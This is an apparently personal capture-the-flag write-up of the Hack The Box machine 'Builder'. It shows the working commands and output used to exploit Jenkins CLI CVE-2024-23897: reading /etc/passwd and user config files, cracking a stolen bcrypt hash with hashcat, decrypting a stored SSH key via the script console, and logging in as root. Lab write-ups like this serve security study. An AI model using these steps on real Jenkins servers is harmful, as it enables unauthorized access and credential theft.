Builder
Difficulty: Medium
OS: Linux
Date: 2024-03-07
Completed:complete
Enumeration
The target is listening on only ports 22 and 8080. The service which is running on 8080 is Jenkins (10.0.18)
sudo nmap -p- --min-rate 10000 -oA scans/tcp_allports builder.htb
...
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
...
sudo nmap -p 22,8080 -sC -sV -oA scans/tcp_scripts builder.htb
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open http Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-robots.txt: 1 disallowed entry
|_/
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
There are no hidden files or VHOSTs, etc., just the Jenkins page.
Foothold
The CVE used to exploit Jenkins CLI CVE-2024-23897
For the Jenkins version running the jenkins-cli can be exploited by downloading the jenkins-cli.jar
off the website then using that to get a foothold.
Download jenkins-cli
Download:
wget http://builder.htb:8080/jnlpJars/jenkins-cli.jar
Usage:
java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' help
Get Commands list
Get all help command: The sed is looking for 2 spaces and to remove them.
java -jar jenkins-cli.jar -s http://builder.htb:8080 help 2>&1 | sed -n '/[A-Z]/!s/ *//gp'
add-job-to-view
build
cancel-quiet-down
clear-queue
connect-node
console
copy-job
create-credentials-by-xml
...
Execute Command list
head commands.txt | xargs -I {} sh -c "java -jar jenkins-cli.jar -s http://builder.htb:8080 '{}' @/etc/passwd > 'cmd/{}.out' 2>&1"
The command with the largest output was the connect-node
command:
find cmd | xargs wc -l | sort -nr | head
wc: cmd: Is a directory
63 total
22 cmd/connect-node.out
7 cmd/create-credentials-by-xml.out
6 cmd/create-job.out
6 cmd/create-credentials-domain-by-xml.out
5 cmd/clear-queue.out
5 cmd/cancel-quiet-down.out
3 cmd/copy-job.out
3 cmd/console.out
3 cmd/build.out
Getting Access to user
The users.xml was found my looking through the Jenkins documentation page and I can across this resource which details that the users information had been migrated to /users/users.xml below you can see the output of going to that file. For getting the actual user information I was about to find this security update which details how the user migration was taking place for upgrading to Jenkins LTS 2.138.x. It shows that “In this case, rename the directory $JENKINS_HOME/users/admin_6635238516816951048/” which is how I was about to find jennifers hash.
Jenkins stores its users in /var/jenkins_home/users/users.xml
this is where I found jennifer_12108429903186576833
java -jar jenkins-cli.jar -s http://builder.htb:8080 connect-node @/var/jenkins_home/users/users.xml
...
<?xml version='1.1' encoding='UTF-8'?>: No such agent "<?xml version='1.1' encoding='UTF-8'?>" exists.
<string>jennifer_12108429903186576833</string>: No such agent " <string>jennifer_12108429903186576833</string>" exists.
<idToDirectoryNameMap class="concurrent-hash-map">: No such agent " <idToDirectoryNameMap class="concurrent-hash-map">" exists.
<entry>: No such agent " <entry>" exists.
<string>jennifer</string>: No such agent " <string>jennifer</string>" exists.
<version>1</version>: No such agent " <version>1</version>" exists.
</hudson.model.UserIdMapper>: No such agent "</hudson.model.UserIdMapper>" exists.
</idToDirectoryNameMap>: No such agent " </idToDirectoryNameMap>" exists.
<hudson.model.UserIdMapper>: No such agent "<hudson.model.UserIdMapper>" exists.
</entry>: No such agent " </entry>" exists.
...
Using jennifer_12108429903186576833
in the path for user configs /var/jenkins_home/users/jennifer_12108429903186576833/config.xml
we find in this file at the end there is a password hash.
java -jar jenkins-cli.jar -s http://builder.htb:8080 connect-node @/var/jenkins_home/users/jennifer_12108429903186576833/config.xml
...
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent " <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>" exists.
...
I took this has and made the file below:
cat jennifer_hash
jennifer:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a
Then I used the hashcat command. Which cracked the password which came out to princess
. With this password I am about to log into the Jenkins webpage as Jennifer.
$ hashcat -m 3200 jennifer_hash --user /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
...
$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a:princess
...
User
After logging into the Jenkins webpage I started digging around and came across the root user configuration. After trying to play with the update credentials I started digging in the html and was able to find:
The key will be pretty long:
<input name="_.privateKey" type="hidden" value="{AQAAABAAAAowLr....MR8IMMaKSM=}"></div>
From here going the /script
and doing the following from here
println( hudson.util.Secret.decrypt("{AQAAABAAAAowLr....MR8IMMaKSM=}") )
This will output the private key:
Privilege Escalation
From getting the ssh key we can copy the private key to host system and make a keyfile:
kali@kali:~/htb$ vim builder-key
kali@kali:~/htb$ chmod 600 builder-key
kali@kali:~/htb$ ssh -i builder-key root@builder.htb
root@builder:~# ls
root.txt
If we look in the directory /home/jennifer
we will find:
root@builder:~# ls -la /home/jennifer/
total 28
drwxr-x--- 3 jennifer jennifer 4096 Feb 9 15:45 .
drwxr-xr-x 3 root root 4096 Feb 9 15:45 ..
lrwxrwxrwx 1 root root 9 Feb 9 14:31 .bash_history -> /dev/null
-rw-r--r-- 1 jennifer jennifer 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 jennifer jennifer 3771 Jan 6 2022 .bashrc
drwx------ 2 jennifer jennifer 4096 Feb 9 15:45 .cache
-rw-r--r-- 1 jennifer jennifer 807 Jan 6 2022 .profile
-rw-r----- 1 root jennifer 33 Mar 8 05:02 user.txt